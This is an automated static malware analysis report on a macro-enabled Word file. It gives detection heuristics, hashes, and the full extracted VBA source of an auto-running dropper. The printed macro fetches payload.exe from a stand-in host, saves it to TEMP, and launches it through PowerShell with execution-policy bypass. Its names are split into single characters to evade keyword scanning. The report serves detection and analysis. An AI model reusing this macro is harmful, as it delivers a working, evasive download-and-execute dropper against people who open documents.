Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 babd4d69d0f412cd…

MALICIOUS

Office (OOXML) / .DOCX

18.0 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-07
MD5: e496982ccf92654390ef31a6e4e25325 SHA-1: d8c35b27c2f66da3ac1aa334a8c3b42dcf850cfb SHA-256: babd4d69d0f412cd0aec004759ee49759178c401ca8dccf5c2310766ed4e56ba
298 Risk Score

Heuristics 9

  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Dim shell As Object
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            .Write http.ResponseBody
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Dim shell As Object
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set http = CreateObject("M" & "SXML2" & ".XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        payloadPath = Environ("T" & "EMP") & "\" & "p" & "a" & "y" & "l" & "o" & "a" & "d" & ".e" & "x" & "e"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.microsoft.com/office/2019/extlstReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1794 bytes
SHA-256: 6c3ae9dbaca3b205fd6864c22b4bc0881d5f2f4ad3f719023e97082086bbb89c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim http As Object
    Dim shell As Object
    Dim payloadPath As String
    
    ' Discovery (T1033)
    ' This step is typically done outside the macro, but for demonstration, we assume the target is already identified.
    
    ' Command and Control (T1105)
    ' Simulate downloading the payload from the remote server
    Set http = CreateObject("M" & "SXML2" & ".XMLHTTP")
    http.Open "G" & "ET", "h" & "t" & "p://" & "e" & "x" & "a" & "m" & "p" & "l" & "e" & ".c" & "o" & "m" & "/p" & "a" & "y" & "l" & "o" & "a" & "d" & ".e" & "x" & "e", False
    http.Send
    
    ' Save the payload to disk
    payloadPath = Environ("T" & "EMP") & "\" & "p" & "a" & "y" & "l" & "o" & "a" & "d" & ".e" & "x" & "e"
    With CreateObject("A" & "D" & "O" & "D" & "B" & ".S" & "t" & "r" & "e" & "a" & "m")
        .Type = 1
        .Open
        .Write http.ResponseBody
        .SaveToFile payloadPath, 2
    End With
    
    ' Command Execution (T1059.001)
    ' Simulate executing the payload using PowerShell with bypass execution policy
    Set shell = CreateObject("W" & "S" & "c" & "r" & "i" & "p" & "t" & ".S" & "h" & "e" & "l" & "l")
    shell.Run "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & ".e" & "x" & "e" & " " & "-E" & "x" & "e" & "c" & "u" & "t" & "i" & "o" & "n" & "P" & "o" & "l" & "i" & "c" & "y" & " " & "B" & "y" & "p" & "a" & "s" & "s" & " " & "-F" & "i" & "l" & "e" & " " & """" & payloadPath & """", 0, True
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: b123f25e445f707f90f4097a39db3e47e10ef946ba9160ed3df6120fd94fccd3